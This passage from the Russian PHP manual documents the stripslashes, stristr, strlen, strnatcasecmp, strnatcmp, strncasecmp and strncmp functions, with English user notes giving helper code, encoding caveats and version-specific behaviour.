        $string = stripslashes($string);
    }
}
?>

Hope it's usefull , O-Zone
techdesk100 28-Apr-2008 07:58
Function which checks if $input has correct slashes,
otherwise adds slashes. For cases when you are not sure the input is not already addslashed.

    public function addslashes_once($input){
        //These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
        $pattern = array("\\'", "\\\"", "\\\\", "\\0");
        $replace = array("", "", "", "");
        if(preg_match("/[\\\\'\"\\0]/", str_replace($pattern, $replace, $input))){
            return addslashes($input);
        }
        else{
            return $input;
        }
    }
Aditya P Bhatt (adityabhai at gmail dot com) 27-Mar-2008 10:03
Here is simple example code which you can use as a common function in your functions file:

<?php
function stripslashes_if_gpc_magic_quotes( $string ) {
    if(get_magic_quotes_gpc()) {
        return stripslashes($string);
    } else {
        return $string;
    }
}
?>
Evgeny 26-Feb-2008 07:52
extended version of stripslashes_deep. This allow to strip one also in the array_keys

    function stripslashes_deep($value) {
        if (is_array($value)) {
            if (count($value)>0) {
                $return = array_combine(array_map('stripslashes_deep', array_keys($value)),array_map('stripslashes_deep', array_values($value)));
            } else {
                $return = array_map('stripslashes_deep', $value);
            }
            return $return;
        } else {
            $return = stripslashes($value);
            return $return ;
        }
    }
alex dot launi at gmail dot com 21-Dec-2007 07:16
kibby: I modified the stripslashes_deep() function so that I could use it on NULL values.

function stripslashes_deep($value)
{
    if(isset($value)) {
        $value = is_array($value) ?
            array_map('stripslashes_deep', $value) :
            stripslashes($value);
    }
    return $value;
}
lukas.skowronski at gmail dot com 20-Jun-2007 04:15
If You want to delete all slashes from any table try to use my function:

function no_slashes($array)
    {
        foreach($array as $key=>$value)
            {
                if(is_array($value))
                    {
                        $value=no_slashes($value);
                        $array_temp[$key]=$value;
                    }
                else
                    {
                        $array_temp[$key]=stripslashes($value);
                    }
            }
        return $array_temp;
    }
dragonfly at networkinsight dot net 11-Mar-2007 03:22
If you are having trouble with stripslashes() corrupting binary data, try using urlencode() and urldecode() instead.
JAB Creations 05-Mar-2007 08:49
When writing to a flatfile such as an HTML page you'll notice slashes being inserted. When you write to that page it's interesting how to apply stripslashes...

I replaced this line...
<?php fwrite($file, $_POST['textarea']); ?>

With...
<?php if (get_magic_quotes_gpc()) {fwrite ($file, stripslashes($_POST['textarea']));}?>

You have to directly apply stripslashes to $_POST, $_GET, $_REQUEST, and $_COOKIE.
gregory at nutt dot ca 22-Feb-2007 06:48
Here is code I use to clean the results from a MySQL query using the stripslashes function.

I do it by passing the sql result and the sql columns to the function strip_slashes_mysql_results.  This way, my data is already clean by the time I want to use it.

    function db_query($querystring, $array, $columns)
    {
      if (!$this->connect_to_mysql())
       return 0;

     $queryresult = mysql_query($querystring, $this->link)
        or die("Invalid query: " . mysql_error());

      if(mysql_num_rows($queryresult))
      {
          $columns = mysql_field_names ($queryresult);

          if($array)
          {
              while($row = mysql_fetch_row($queryresult))
                $row_meta[] = $this->strip_slashes_mysql_results($row, $columns);
              return $row_meta;
          }
          else
          {
              while($row = mysql_fetch_object($queryresult))
                $row_meta[] = $this->strip_slashes_mysql_results($row, $columns);
              return $row_meta;
          }
      }
      else
        return 0;
    }

    function strip_slashes_mysql_results($result, $columns)
    {
        foreach($columns as $column)
        {
              if($this->debug)
                  printp(sprintf("strip_slashes_mysql_results: %s",strip_slashes_mysql_results));
              $result->$column = stripslashes($result->$column);
        }
        return $result;
    }
stoic 02-Jan-2007 08:31
in response to crab dot crab at gmail dot com:

$value need not be passed by reference. The 'stripped' value is returned. The passed value is not altered.
Kibby 14-May-2006 01:41
Okay, if using stripslashes_deep, it will definitely replace any NULL to "".  This will affect to coding that depends isset().  Please provide a workaround based on recent note.
hauser dot j at gmail dot com 21-Feb-2006 02:13
Don't use stripslashes if you depend on the values NULL.

Apparently stripslashes converts NULL to string(0) ""

<?php
$a = null;
var_dump($a);

$b = stripslashes($a);
var_dump($b);
?>
Will output

NULL
string(0) ""
alf at mitose dot net 25-Oct-2005 05:09
Take care using stripslashes() if the text you want to insert in the database contain \n characters ! You'll see "n" instead of (not seeing) "\n".

It should be no problem for XML, but is still boring ...
10-Feb-2005 07:45
If you want to deal with slashes in double-byte encodings, such as shift_jis or big5, you may use this:

<?
function stripslashes2($string) {
    $string = str_replace("\\\"", "\"", $string);
    $string = str_replace("\\'", "'", $string);
    $string = str_replace("\\\\", "\\", $string);
    return $string;
}
?>
mattyblah at gmail dot com 10-Sep-2004 08:51
It should be of note that if you are stripping slashes to get rid of the slashes added by magic_quotes_gpc then it will also remove slashes from \. This may not seem that bad but if you have someone enter text such as 'testing\' with a slash at the end, this will cause an error if not corrected. It's best to strip the slashes, then add a slash to every single slash using $text = str_replace('\\', '\\\\', $text);
hash at samurai dot fm 30-Nov-2003 09:34
Might I warn readers that they should be vary careful with the use of stripslashes on Japanese text. The shift_jis character set includes a number of two-byte code charcters that contain the hex-value 0x5c (backslash) which will get stripped by this function thus garbling those characters.

What a nightmare!


Регистронезависимый вариант функции strstr

  • « stripslashes
  • strlen »
  • PHP Manual
  • Функции для работы со строками
  • Регистронезависимый вариант функции strstr

stristr

(PHP 4, PHP 5, PHP 7, PHP 8)

stristr — Регистронезависимый вариант функции strstr()

Описание

stristr(string $haystack, string $needle, bool $before_needle = false): string|false

Функция возвращает строку haystack с первого вхождения подстроки needle включительно.

Список параметров

haystack

Строка, в которой выполняется поиск.

needle

Строка, которую требуется найти.

До PHP 8.0.0, если параметр needle — не строка, он преобразовывается в целое число и трактуется как код символа. Это поведение устарело с PHP 7.3.0 и полагаться на него крайне не рекомендуется. В зависимости от предполагаемого поведения, параметр needle должен быть либо явно приведён к строке, либо должен быть выполнен явный вызов функции chr().

before_needle

Если для параметра установили значение true, функция stristr() возвращает часть «стога» haystack, которая идёт перед первым вхождением «иголки» needle, не включая «иголку».

Параметры needle и haystack обрабатываются без учёта регистра.

Возвращаемые значения

Функция возвращает совпавшую подстроку. Если функция не нашла подстроку needle, возвращается false.

Список изменений

Версия | Описание
8.2.0 | Приведение к единому регистру больше не зависит от настроек региональных установок, которые установили функцией setlocale(). Преобразовываются только символы кодировки ASCII. Байты, которые не относятся к кодировке ASCII, будут сравниваться по значению байта.
8.0.0 | Параметр needle теперь разрешает пустую строку.
8.0.0 | Передача целого числа (int) в параметр needle больше не поддерживается.
7.3.0 | Передачу целого числа (int) в параметр needle объявили устаревшей.

Примеры

Пример #1 Пример использования функции stristr()

<?php

$email = 'USER@EXAMPLE.com';
echo stristr($email, 'e'); // Выводит: ER@EXAMPLE.com
echo stristr($email, 'e', true); // Выводит: US

?>

Пример #2 Проверка на вхождение строки

<?php

$string = 'Hello World!';
if (stristr($string, 'earth') === FALSE) {
echo 'Функция не нашла в строке подстроку «earth»';
}
// Выводит: Функция не нашла в строке подстроку «earth»

?>

Пример #3 Пример работы функции с нестроковой «иглой»

<?php

$string = 'APPLE';
echo stristr($string, 97); // 97 — кодовая точка Юникода для прописной буквы «a»
// Выводит: APPLE

?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • strstr() - Находит первое вхождение подстроки
  • strrchr() - Находит последнее вхождение символа в строке
  • stripos() - Возвращает позицию первого вхождения подстроки без учёта регистра
  • strpbrk() - Ищет в строке любой символ из заданного набора
  • preg_match() - Выполняет проверку на соответствие регулярному выражению

User Contributed Notes

jukka 23-May-2014 10:33
I think there is a bug in php 5.3 in stristr with uppercase A containing other character

http://pastebin.com/5bP6uztY

if you search only with tary it works, but as soon as the word is taryla  it does not. TARYL works fine
greg at no_ggmac_reply dot com 13-Jan-2011 01:20
Beware the example given here:

if stristr($message,'viagra')
or stristr($message,'cialis')
)
{
die();
}

stristr does not search for words, it finds matching substrings.  So, for example, the check for 'cialis' will trigger on 'specialist'
tomas dot nesrovnal at yourspirit dot cz 18-Dec-2008 12:36
Active item item in menu:

<?php
function aim($page) {
    if(stristr($_SERVER['REQUEST_URI'], $page)) {
        return ' class="active"';
    }
}
?>

usage:

<style type="text/css">
.active {color: red;}
</style>

<?php
print '<a href="http://example.com/page/hello-world/"'. aim('hello-world') .'>HW</a>';
?>
giz at gbdesign dot net 06-Oct-2007 05:02
Just been caught out by stristr trying to converting the needle from an Int to an ASCII value.

Got round this by casting the value to a string.

<?php
if( !stristr( $file, (string) $myCustomer->getCustomerID()  ) ) {
  // Permission denied
}
?>
art at awilton dot dotcom 07-Nov-2005 09:17
handy little bit of code I wrote to take arguments from the command line and parse them for use in my apps.

<?php

 $i = implode(" ",$argv); //implode all the settings sent via clie
 $e = explode("-",$i); // no lets explode it using our defined seperator '-'

       //now lets parse the array and return the parameter name and its setting
       // since the input is being sent by the user via the command line
       //we will use stristr since we don't care about case sensitivity and
       //will convert them as needed later.

    while (list($index,$value) = each($e)){

       //lets grap the parameter name first using a double reverse string
       // to get the begining of the string in the array then reverse it again
       // to set it back. we will also "trim" off the "=" sign

     $param = rtrim(strrev(stristr(strrev($value),'=')),"=");

       //now lets get what the parameter is set to.
       // again "trimming" off the = sign

     $setting = ltrim(stristr($value,'='),"=");

       // now do something with our results.
       // let's just echo them out so we can see that everything is working

      echo "Array index is ".$index." and value is ".$value."\r\n";
      echo "Parameter is ".$param." and is set to ".$setting."\r\n\r\n";

}

?>

when run from the CLI this script returns the following.

[root@fedora4 ~]# php a.php -val1=one -val2=two -val3=three

Array index is 0 and value is a.php
Parameter is  and is set to

Array index is 1 and value is val1=one
Parameter is val1 and is set to one

Array index is 2 and value is val2=two
Parameter is val2 and is set to two

Array index is 3 and value is val3=three
Parameter is val3 and is set to three

[root@fedora4 ~]#
notepad at codewalkers dot com 05-Jun-2005 01:02
<?php

function stristr_reverse($haystack, $needle) {
  $pos = stripos($haystack, $needle) + strlen($needle);
  return substr($haystack, 0, $pos);
}
$email = 'USER@EXAMPLE.com';
echo stristr_reverse($email, 'er');
// outputs USER

?>
Techdeck at Techdeck dot org 12-Nov-2002 12:26
An example for the stristr() function:

<?php
$a = "I like php";
if (stristr("$a", "LikE PhP")) {
print ("According to \$a, you like PHP.");
}
?>

It will look in $a for "like php" (NOT case sensetive. though, strstr() is case-sensetive).

For the ones of you who uses linux.. It is similiar to the "grep" command.
Actually.. "grep -i".
dpatton.at.confluence.org 02-Oct-2002 09:36
There was a change in PHP 4.2.3 that can cause a warning message
to be generated when using stristr(), even though no message was
generated in older versions of PHP.

The following will generate a warning message in 4.0.6 and 4.2.3:
  stristr("haystack", "");
     OR
  $needle = "";  stristr("haystack", $needle);

This will _not_ generate an "Empty Delimiter" warning message in
4.0.6, but _will_ in 4.2.3:
  unset($needle); stristr("haystack", $needle);

Here's a URL that documents what was changed:
http://groups.google.ca/groups?selm=cvshholzgra1031224321%40cvsserver


Получает длину строки

  • « stristr
  • strnatcasecmp »
  • PHP Manual
  • Функции для работы со строками
  • Получает длину строки

strlen

(PHP 4, PHP 5, PHP 7, PHP 8)

strlen — Получает длину строки

Описание

strlen(string $string): int

Функция возвращает длину строки string.

Список параметров

string

Строка (string), длина которой измеряется.

Возвращаемые значения

Функция возвращает длину строки string в байтах.

Примеры

Пример #1 Пример использования функции strlen()

<?php

$str = 'abcdef';
echo strlen($str); // 6

$str = ' ab cd ';
echo strlen($str); // 7

?>

Примечания

Замечание:

Функция strlen() возвращает количество байтов, а не количество символов в строке.

Смотрите также

  • count() - Подсчитывает количество элементов в массиве или в объекте Countable
  • grapheme_strlen() - Получает длину строки в единицах графемы
  • iconv_strlen() - Возвращает количество символов в строке
  • mb_strlen() - Получает длину строки

User Contributed Notes

Daniel Klein 22-Oct-2022 12:13
Since PHP 8.0, passing null to strlen() is deprecated. To check for a blank string (not including '0'):

<?php
// PHP < 8.0
if (!strlen($text)) {
  echo 'Blank';
}

// PHP >= 8.0
if ($text === null || $text === '')) {
  echo 'empty';
}
John 12-Feb-2017 04:08
There's a LOT of misinformation here, which I want to correct! Many people have warned against using strlen(), because it is "super slow". Well, that was probably true in old versions of PHP. But as of PHP7 that's definitely no longer true. It's now SUPER fast!

I created a 20,00,000 byte string (~20 megabytes), and iterated ONE HUNDRED MILLION TIMES in a loop. Every loop iteration did a new strlen() on that very, very long string.

The result: 100 million strlen() calls on a 20 megabyte string only took a total of 488 milliseconds. And the strlen() calls didn't get slower/faster even if I made the string smaller or bigger. The strlen() was pretty much a constant-time, super-fast operation

So either PHP7 stores the length of every string as a field that it can simply always look up without having to count characters. Or it caches the result of strlen() until the string contents actually change. Either way, you should now never, EVER worry about strlen() performance again. As of PHP7, it is super fast!

Here is the complete benchmark code if you want to reproduce it on your machine:

<?php

$iterations = 100000000; // 100 million
$str = str_repeat( '0', 20000000 );

// benchmark loop and variable assignment to calculate loop overhead
$start = microtime(true);
for( $i = 0; $i < $iterations; ++$i ) {
    $len = 0;
}
$end = microtime(true);
$loop_elapsed = 1000 * ($end - $start);

// benchmark strlen in a loop
$len = 0;
$start = microtime(true);
for( $i = 0; $i < $iterations; ++$i ) {
    $len = strlen( $str );
}
$end = microtime(true);
$strlen_elapsed = 1000 * ($end - $start);

// subtract loop overhead from strlen() speed calculation
$strlen_elapsed -= $loop_elapsed;

echo "\nstring length: {$len}\ntest took: {$strlen_elapsed} milliseconds\n";

?>
joeri at sebrechts dot net 26-Jul-2016 08:26
When checking for length to make sure a value will fit in a database field, be mindful of using the right function.

There are three possible situations:

1. Most likely case: the database column is UTF-8 with a length defined in unicode code points (e.g. mysql varchar(200) for a utf-8 database).

<?php
// ok if php.ini default_charset set to UTF-8 (= default value)
mb_strlen($value);
iconv_strlen($value);
// always ok
mb_strlen($value, "UTF-8");
iconv_strlen($value, "UTF-8");

// BAD, do not use:
strlen(utf8_decode($value)); // breaks for some multi-byte characters
grapheme_strlen($value); // counts graphemes, not code points
?>

2. The database column has a length defined in bytes (e.g. oracle's VARCHAR2(200 BYTE))

<?php
// ok, but assumes mbstring.func_overload is 0 in php.ini (= default value)
strlen($value);
// ok, forces count in bytes
mb_strlen($value, "8bit")
?>

3. The database column is in another character set (UTF-16, ISO-8859-1, etc...) with a length defined in characters / code points.

Find the character set used, and pass it explicitly to the length function.

<?php
// ok, supported charsets: http://php.net/manual/en/mbstring.supported-encodings.php
mb_strlen($value, $charset);
// ok, supported charsets: https://www.gnu.org/software/libiconv/
iconv_strlen($value, $charset);
?>
rm dot nasir at hotmail dot com 14-Dec-2015 09:08
I want to share something seriously important for newbies or beginners of PHP who plays with strings of UTF8 encoded characters or the languages like: Arabic, Persian, Pashto, Dari, Chinese (simplified), Chinese (traditional), Japanese, Vietnamese, Urdu, Macedonian, Lithuanian, and etc.
As the manual says: "strlen() returns the number of bytes rather than the number of characters in a string.", so if you want to get the number of characters in a string of UTF8 so use mb_strlen() instead of strlen().

Example:

<?php
// the Arabic (Hello) string below is: 59 bytes and 32 characters
$utf8 = "?????? ????? ????? ???? ???????!";

var_export( strlen($utf8) ); // 59
echo "<br>";
var_export( mb_strlen($utf8, 'utf8') ); // 32
?>
jasonrohrer at fastmail dot fm 13-Jun-2013 10:48
PHP's strlen function behaves differently than the C strlen function in terms of its handling of null bytes ('\0').

In PHP, a null byte in a string does NOT count as the end of the string, and any null bytes are included in the length of the string.

For example, in PHP:

strlen( "te\0st" ) = 5

In C, the same call would return 2.

Thus, PHP's strlen function can be used to find the number of bytes in a binary string (for example, binary data returned by base64_decode).
vcardillo at gmail dot com 14-Aug-2012 03:59
I would like to demonstrate that you need more than just this function in order to truly test for an empty string. The reason being that <?php strlen(null); ?> will return 0. So how do you know if the value was null, or truly an empty string?

<?php
$foo = null;
$len = strlen(null);
$bar = '';

echo "Length: " . strlen($foo) . "<br>";
echo "Length: $len <br>";
echo "Length: " . strlen(null) . "<br>";

if (strlen($foo) === 0) echo 'Null length is Zero <br>';
if ($len === 0) echo 'Null length is still Zero <br>';

if (strlen($foo) == 0 && !is_null($foo)) echo '!is_null(): $foo is truly an empty string <br>';
else echo '!is_null(): $foo is probably null <br>';

if (strlen($foo) == 0 && isset($foo)) echo 'isset(): $foo is truly an empty string <br>';
else echo 'isset(): $foo is probably null <br>';

if (strlen($bar) == 0 && !is_null($bar)) echo '!is_null(): $bar is truly an empty string <br>';
else echo '!is_null(): $foo is probably null <br>';

if (strlen($bar) == 0 && isset($bar)) echo 'isset(): $bar is truly an empty string <br>';
else echo 'isset(): $foo is probably null <br>';
?>

// Begin Output:
Length: 0
Length: 0
Length: 0

Null length is Zero
Null length is still Zero

!is_null(): $foo is probably null
isset(): $foo is probably null

!is_null(): $bar is truly an empty string
isset(): $bar is truly an empty string
// End Output

So it would seem you need either is_null() or isset() in addition to strlen() if you care whether or not the original value was null.
basil at gohar dot us 08-Jun-2010 02:03
We just ran into what we thought was a bug but turned out to be a documented difference in behavior between PHP 5.2 & 5.3.  Take the following code example:

<?php

$attributes = array('one', 'two', 'three');

if (strlen($attributes) == 0 && !is_bool($attributes)) {
    echo "We are in the 'if'\n";  //  PHP 5.3
} else {
    echo "We are in the 'else'\n";  //  PHP 5.2
}

?>

This is because in 5.2 strlen will automatically cast anything passed to it as a string, and casting an array to a string yields the string "Array".  In 5.3, this changed, as noted in the following point in the backward incompatible changes in 5.3 (http://www.php.net/manual/en/migration53.incompatible.php):

"The newer internal parameter parsing API has been applied across all the extensions bundled with PHP 5.3.x. This parameter parsing API causes functions to return NULL when passed incompatible parameters. There are some exceptions to this rule, such as the get_class() function, which will continue to return FALSE on error."

So, in PHP 5.3, strlen($attributes) returns NULL, while in PHP 5.2, strlen($attributes) returns the integer 5.  This likely affects other functions, so if you are getting different behaviors or new bugs suddenly, check if you have upgraded to 5.3 (which we did recently), and then check for some warnings in your logs like this:

strlen() expects parameter 1 to be string, array given in /var/www/sis/lib/functions/advanced_search_lib.php on line 1028

If so, then you are likely experiencing this changed behavior.


Сравнение строк без учёта регистра с использованием алгоритма "natural order"

  • « strlen
  • strnatcmp »
  • PHP Manual
  • Функции для работы со строками
  • Сравнение строк без учёта регистра с использованием алгоритма "natural order"

strnatcasecmp

(PHP 4, PHP 5, PHP 7, PHP 8)

strnatcasecmp — Сравнение строк без учёта регистра с использованием алгоритма "natural order"

Описание

strnatcasecmp(string $string1, string $string2): int

Эта функция реализует алгоритм сравнения, упорядочивающий алфавитно-цифровые строки подобно тому, как это сделал бы человек. Эта функция подобна strnatcmp(), за исключением того, что сравнение происходит без учёта регистра символов. Для получения дополнительной информации смотрите » Natural Order String Comparison.

Список параметров

string1

Первая строка.

string2

Вторая строка.

Возвращаемые значения

Возвращает -1, если string1 меньше string2, 1, если string1 больше string2, и 0, если строки равны.

Список изменений

Версия | Описание
8.2.0 | Функция теперь возвращает -1 или 1; ранее она возвращала отрицательное или положительное число.

Примеры

Пример #1 Пример использования strnatcasecmp()

<?php

var_dump(strnatcasecmp('Apple', 'Banana'));
var_dump(strnatcasecmp('Banana', 'Apple'));
var_dump(strnatcasecmp('apple', 'Apple'));
?>

Результат выполнения приведённого примера:

int(-1)
int(1)
int(0)

Смотрите также

  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • strcmp() - Бинарно-безопасное сравнение строк
  • strcasecmp() - Бинарно-безопасное сравнение строк без учёта регистра
  • substr() - Возвращает подстроку
  • stristr() - Регистронезависимый вариант функции strstr
  • strncasecmp() - Бинарно-безопасное сравнение первых n символов строк без учёта регистра
  • strncmp() - Бинарно-безопасное сравнение первых n символов строк
  • strstr() - Находит первое вхождение подстроки
  • setlocale() - Устанавливает региональные настройки

User Contributed Notes

Marco 20-May-2016 10:12
Use strnatcmp to avoid the _ problem as mentioned below;

<<  The function treats '_' as after letters and numbers when it would be placed before logically. >>
chatfielddaniel at googlemail dot com 14-Apr-2011 04:07
The function treats '_' as after letters and numbers when it would be placed before logically.
thomas at uninet dot se 25-Jul-2006 12:49
There seems to be a bug in the localization for strnatcmp and strnatcasecmp. I searched the reported bugs and found a few entries which were up to four years old (but the problem still exists when using swedish characters).

These functions might work instead.
<?php
function _strnatcasecmp($left, $right) {
  return _strnatcmp(strtolower($left), strtolower($right));
}

function _strnatcmp($left, $right) {
  while((strlen($left) > 0) && (strlen($right) > 0)) {
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $left, $lMatch)) {
      $lTest = $lMatch[1];
      $left = $lMatch[2];
    } else {
      $lTest = $left;
      $left = '';
    }
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $right, $rMatch)) {
      $rTest = $rMatch[1];
      $right = $rMatch[2];
    } else {
      $rTest = $right;
      $right = '';
    }
    $test = strcmp($lTest, $rTest);
    if($test != 0) {
      return $test;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $left, $lMatch)) {
      $lTest = intval($lMatch[1]);
      $left = $lMatch[2];
    } else {
      $lTest = 0;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $right, $rMatch)) {
      $rTest = intval($rMatch[1]);
      $right = $rMatch[2];
    } else {
      $rTest = 0;
    }
    $test = $lTest - $rTest;
    if($test != 0) {
      return $test;
    }
  }
  return strcmp($left, $right);
}
?>

The code is not optimized. It was just made to solve my problem.


Сравнение строк с использованием алгоритма "natural order"

  • « strnatcasecmp
  • strncasecmp »
  • PHP Manual
  • Функции для работы со строками
  • Сравнение строк с использованием алгоритма "natural order"

strnatcmp

(PHP 4, PHP 5, PHP 7, PHP 8)

strnatcmp — Сравнение строк с использованием алгоритма "natural order"

Описание

strnatcmp(string $string1, string $string2): int

Эта функция реализует алгоритм сравнения, упорядочивающий алфавитно-цифровые строки подобно тому, как это сделал бы человек, такой алгоритм называется "natural ordering". Сравнение происходит с учётом регистра.

Список параметров

string1

Первая строка.

string2

Вторая строка.

Возвращаемые значения

Возвращает -1, если string1 меньше string2, 1, если string1 больше string2, и 0, если строки равны.

Список изменений

Версия | Описание
8.2.0 | Функция теперь возвращает -1 или 1; ранее она возвращала отрицательное или положительное число.

Примеры

Пример, показывающий отличие этого алгоритма от обычных функций сравнения (используемых в strcmp()), приведён ниже:

<?php
$arr1 = $arr2 = array("img12.png", "img10.png", "img2.png", "img1.png");
echo "Стандартный алгоритм сравнения\n";
usort($arr1, "strcmp");
print_r($arr1);
echo "\nАлгоритм \"natural order\"\n";
usort($arr2, "strnatcmp");
print_r($arr2);
?>

Результат выполнения приведённого примера:

Стандартный алгоритм сравнения
Array
(
    [0] => img1.png
    [1] => img10.png
    [2] => img12.png
    [3] => img2.png
)

Алгоритм "natural order"
Array
(
    [0] => img1.png
    [1] => img2.png
    [2] => img10.png
    [3] => img12.png
)
Для получения дополнительной информации смотрите » Natural Order String Comparison.

Смотрите также

  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • strcasecmp() - Бинарно-безопасное сравнение строк без учёта регистра
  • substr() - Возвращает подстроку
  • stristr() - Регистронезависимый вариант функции strstr
  • strcmp() - Бинарно-безопасное сравнение строк
  • strncmp() - Бинарно-безопасное сравнение первых n символов строк
  • strncasecmp() - Бинарно-безопасное сравнение первых n символов строк без учёта регистра
  • strnatcasecmp() - Сравнение строк без учёта регистра с использованием алгоритма "natural order"
  • strstr() - Находит первое вхождение подстроки
  • natsort() - Сортирует массив, для чего использует алгоритм «естественной сортировки»
  • natcasesort() - Сортирует массив алгоритмом естественной сортировки (natural order) без учёта регистра символов

User Contributed Notes

spamspamspam at gmx dot com 30-Oct-2018 04:24
Some more remarkable outcomes:

var_dump(strnatcmp("0.15m", "0.2m"));
int(1)

var_dump(strnatcmp("0.15m", "0.20m"));
int(-1)

It's not about localisation:

var_dump(strnatcmp("0,15m", "0,2m"));
int(1)

var_dump(strnatcmp("0,15m", "0,20m"));
int(-1)
chris at ocproducts dot com 04-May-2017 01:16
This function has some interesting behaviour on strings consisting of mixed numbers and letters.

One may expect that such a mixed string would be treated as alpha-numeric, but that is not true.

var_dump(strnatcmp('23','123')); >
int(-1)
As expected, 23<123   (even though first digit is higher, overall number is smaller)

var_dump(strnatcmp('yz','xyz')); >
int(1)
As expected, yz>xyz   (string comparison, irregardless of string length)

var_dump(strnatcmp('2x','12y')); >
int(-1)
Remarkable, 2x<12y    (does a numeric comparison)

var_dump(strnatcmp('20x','12y'));
int(1)
Remarkable, 20x>12y    (does a numeric comparison)

It seems to be splitting what is being compared into runs of numbers and letters, and then comparing each run in isolation, until it has an ordering difference.
in dot games dot mq at gmail dot com 12-Dec-2016 03:34
Can also be used with combination of a compare for an array nested value, like

<?php
$array = array(
    "city" => "xyz",
    "names" => array(
        array(
            "name" => "Ana2",
            "id" => 1
        ) ,
        array(
            "name" => "Ana1",
            "id" => 2
        )
    )
);
usort($array["names"], function ($a, $b)    {    return strnatcmp($a['name'], $b['name']);} );
thomas at uninet dot se 25-Jul-2006 12:50
There seems to be a bug in the localization for strnatcmp and strnatcasecmp. I searched the reported bugs and found a few entries which were up to four years old (but the problem still exists when using swedish characters).

These functions might work instead.
<?php
function _strnatcasecmp($left, $right) {
  return _strnatcmp(strtolower($left), strtolower($right));
}

function _strnatcmp($left, $right) {
  while((strlen($left) > 0) && (strlen($right) > 0)) {
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $left, $lMatch)) {
      $lTest = $lMatch[1];
      $left = $lMatch[2];
    } else {
      $lTest = $left;
      $left = '';
    }
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $right, $rMatch)) {
      $rTest = $rMatch[1];
      $right = $rMatch[2];
    } else {
      $rTest = $right;
      $right = '';
    }
    $test = strcmp($lTest, $rTest);
    if($test != 0) {
      return $test;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $left, $lMatch)) {
      $lTest = intval($lMatch[1]);
      $left = $lMatch[2];
    } else {
      $lTest = 0;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $right, $rMatch)) {
      $rTest = intval($rMatch[1]);
      $right = $rMatch[2];
    } else {
      $rTest = 0;
    }
    $test = $lTest - $rTest;
    if($test != 0) {
      return $test;
    }
  }
  return strcmp($left, $right);
}
?>

The code is not optimized. It was just made to solve my problem.


Бинарно-безопасное сравнение первых n символов строк без учёта регистра

  • « strnatcmp
  • strncmp »
  • PHP Manual
  • Функции для работы со строками
  • Бинарно-безопасное сравнение первых n символов строк без учёта регистра

strncasecmp

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

strncasecmp — Бинарно-безопасное сравнение первых n символов строк без учёта регистра

Описание

strncasecmp(string $string1, string $string2, int $length): int

Эта функция похожа на strcasecmp(), за исключением того, что можно указать максимальное количество символов в обеих строках, которые будут участвовать в сравнении.

Список параметров

string1

Первая строка.

string2

Вторая строка.

length

Количество символов, участвующих в сравнении.

Возвращаемые значения

Возвращает -1, если string1 меньше string2, 1, если string1 больше string2, и 0, если строки равны.

Список изменений

Версия | Описание
8.2.0 | Функция теперь возвращает -1 или 1; ранее она возвращала отрицательное или положительное число.

Примеры

Пример #1 Пример использования strncasecmp()

<?php

$var1 = 'Hello John';
$var2 = 'hello Doe';
if (strncasecmp($var1, $var2, 5) === 0) {
echo 'Первые 5 символов $var1 и $var2 равны при сравнении строк без учёта регистра';
}
?>

Смотрите также

  • strncmp() - Бинарно-безопасное сравнение первых n символов строк
  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • substr_compare() - Бинарно-безопасное сравнение 2 строк со смещением, с учётом или без учёта регистра
  • strcasecmp() - Бинарно-безопасное сравнение строк без учёта регистра
  • stristr() - Регистронезависимый вариант функции strstr
  • substr() - Возвращает подстроку

User Contributed Notes

sazalach at gmail dot com 15-Dec-2015 11:14
<?php
$str1 = "red";
$str2 = "redent";
$test=strncasecmp($str1, $str2 , 3);
if ($str1==$str2)
{
echo "$test";
}
else
{
echo "$test" ;
}
?>

if we run the above script then we will get return 0, because first string $str1 = "red" and second $str2 = "redent" but in comparison i have set the first three character will try to match. as per condition if two string are equal then it will return 0. But in below example it will return greater than 0 because here is str1 is greater than str2.

<?php
$str1 = "redmyshirt";
$str2 = "redent";
$test=strncasecmp($str1, $str2 , 4);
if ($str1==$str2)
{
echo "$test";
}
else
{
echo "$test" ;
}
?>

as same if we run the below script it will return -1 because str1 is less than str2.

<?php
$str1 = "red";
$str2 = "redent";
$test=strncasecmp($str1, $str2 , 4);
if ($str1==$str2)
{
echo "$test";
}
else
{
echo "$test" ;
}
?>

ya..i think its easy to understand
saikumar dot msc at gmail dot com 01-Jun-2014 03:26
Example:
<?php
$string = "true";
if(strncasecmp($string, "Trudeau", 4)) { print "True"; } else { print "False" }
?>

If we look at above example, immediately we will say the final output will be 'False', but that's not real.

Method "strncasecmp()" returns 1 because the first four characters of 'Trud' come before the first four characters of "true" when sorted not case sensitively.


Бинарно-безопасное сравнение первых n символов строк

  • « strncasecmp
  • strpbrk »
  • PHP Manual
  • Функции для работы со строками
  • Бинарно-безопасное сравнение первых n символов строк

strncmp

(PHP 4, PHP 5, PHP 7, PHP 8)

strncmp — Бинарно-безопасное сравнение первых n символов строк

Описание

strncmp(string $string1, string $string2, int $length): int

Эта функция похожа на strcmp(), за исключением того, что можно указать максимальное количество символов в обеих строках, которые будут участвовать в сравнении.

Эта функция учитывает регистр символов.

Список параметров

string1

Первая строка.

string2

Вторая строка.

length

Количество символов, используемых в сравнении.

Возвращаемые значения

Возвращает -1, если string1 меньше string2, 1, если string1 больше string2, и 0, если строки равны.

Список изменений

Версия | Описание
8.2.0 | Функция теперь возвращает -1 или 1; ранее она возвращала отрицательное или положительное число.

Примеры

Пример #1 strncmp() example

<?php

$var1 = 'Hello John';
$var2 = 'Hello Doe';
if (strncmp($var1, $var2, 5) === 0) {
echo 'Первые 5 символов $var1 и $var2 равны при сравнении строк с учётом регистра';
}
?>

Смотрите также

  • strncasecmp() - Бинарно-безопасное сравнение первых n символов строк без учёта регистра
  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • substr_compare() - Бинарно-безопасное сравнение 2 строк со смещением, с учётом или без учёта регистра
